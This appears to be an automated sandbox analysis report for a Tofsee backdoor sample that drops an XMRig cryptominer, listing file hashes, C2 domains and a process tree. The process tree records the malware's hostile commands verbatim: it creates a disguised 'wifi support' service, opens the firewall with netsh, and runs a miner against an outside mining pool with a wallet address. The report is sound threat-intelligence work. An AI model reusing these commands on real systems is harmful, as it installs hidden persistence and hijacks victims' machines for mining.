Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 18:02

General

  • Target

    file.exe

  • Size

    217KB

  • MD5

    67a1ad09b8b676afc20a1c25dc85724c

  • SHA1

    52cc6a9191c34c4f4e611e2928afa2fa2f647545

  • SHA256

    ded89e474ebdfae1e7e410697bee10b242ee94eace304f5552266e3bf6dc5ce5

  • SHA512

    e7533ea7f4cb898157930c4fba3bf6a818153c2cab0ffc4481f2ebaeae95f4651de069226178ffbab7cbb823ff8468fcd96005000a64cac89528d469be9b1e40

  • SSDEEP

    3072:KGJT1Tk4mYQWLxaLvUK6kJe55Sm+nxnBU7SE7fHEK9+6NxaBchx:KGr4vYQ/LvUKPJexanbFK9+6NsKh

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:748
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\koufxtvz\
      2⤵
        PID:3060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hsotkdpe.exe" C:\Windows\SysWOW64\koufxtvz\
        2⤵
          PID:4596
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create koufxtvz binPath= "C:\Windows\SysWOW64\koufxtvz\hsotkdpe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description koufxtvz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start koufxtvz
          2⤵
          • Launches sc.exe
          PID:1764
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:548
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 748 -s 580
          2⤵
          • Program crash
          PID:1384
      • C:\Windows\SysWOW64\koufxtvz\hsotkdpe.exe
        C:\Windows\SysWOW64\koufxtvz\hsotkdpe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3840
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4680
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4612
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 532
          2⤵
          • Program crash
          PID:1916
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 748 -ip 748
        1⤵
          PID:5008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3840 -ip 3840
          1⤵
            PID:3880

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hsotkdpe.exe

            Filesize

            13.2MB

            MD5

            d78496145cfb26d246a71907dc49ba4a

            SHA1

            9ca85805ffc8edf5648473a3ed47cb8209222960

            SHA256

            90d2a46f289984c779244db54cbb4cc69f7fdc1e4a0385f1f7b3712e39f7446d

            SHA512

            c076e7446da294d65b7aa23613fc4750b86a73f4f1bfe904718643913092989b53847e6245f87abb9938d0fb257a05eefc19af3ebd5928d1dfcc6cc081e6f16d

          • C:\Windows\SysWOW64\koufxtvz\hsotkdpe.exe

            Filesize

            13.2MB

            MD5

            d78496145cfb26d246a71907dc49ba4a

            SHA1

            9ca85805ffc8edf5648473a3ed47cb8209222960

            SHA256

            90d2a46f289984c779244db54cbb4cc69f7fdc1e4a0385f1f7b3712e39f7446d

            SHA512

            c076e7446da294d65b7aa23613fc4750b86a73f4f1bfe904718643913092989b53847e6245f87abb9938d0fb257a05eefc19af3ebd5928d1dfcc6cc081e6f16d

          • memory/748-133-0x00000000006F0000-0x0000000000703000-memory.dmp

            Filesize

            76KB

          • memory/748-134-0x0000000000400000-0x0000000000594000-memory.dmp

            Filesize

            1.6MB

          • memory/748-132-0x0000000000739000-0x000000000074A000-memory.dmp

            Filesize

            68KB

          • memory/748-144-0x0000000000400000-0x0000000000594000-memory.dmp

            Filesize

            1.6MB

          • memory/748-143-0x0000000000739000-0x000000000074A000-memory.dmp

            Filesize

            68KB

          • memory/3840-149-0x0000000000723000-0x0000000000733000-memory.dmp

            Filesize

            64KB

          • memory/3840-150-0x0000000000400000-0x0000000000594000-memory.dmp

            Filesize

            1.6MB

          • memory/4612-177-0x0000000000490000-0x0000000000581000-memory.dmp

            Filesize

            964KB

          • memory/4612-173-0x0000000000490000-0x0000000000581000-memory.dmp

            Filesize

            964KB

          • memory/4612-172-0x0000000000491000-0x0000000000562000-memory.dmp

            Filesize

            836KB

          • memory/4680-146-0x0000000000190000-0x00000000001A5000-memory.dmp

            Filesize

            84KB

          • memory/4680-153-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/4680-156-0x0000000000C70000-0x0000000000C76000-memory.dmp

            Filesize

            24KB

          • memory/4680-159-0x0000000000C80000-0x0000000000C90000-memory.dmp

            Filesize

            64KB

          • memory/4680-162-0x00000000017D0000-0x00000000017D5000-memory.dmp

            Filesize

            20KB

          • memory/4680-165-0x0000000006F80000-0x000000000738B000-memory.dmp

            Filesize

            4.0MB

          • memory/4680-168-0x00000000017E0000-0x00000000017E7000-memory.dmp

            Filesize

            28KB

          • memory/4680-152-0x0000000000190000-0x00000000001A5000-memory.dmp

            Filesize

            84KB

          • memory/4680-151-0x0000000000190000-0x00000000001A5000-memory.dmp

            Filesize

            84KB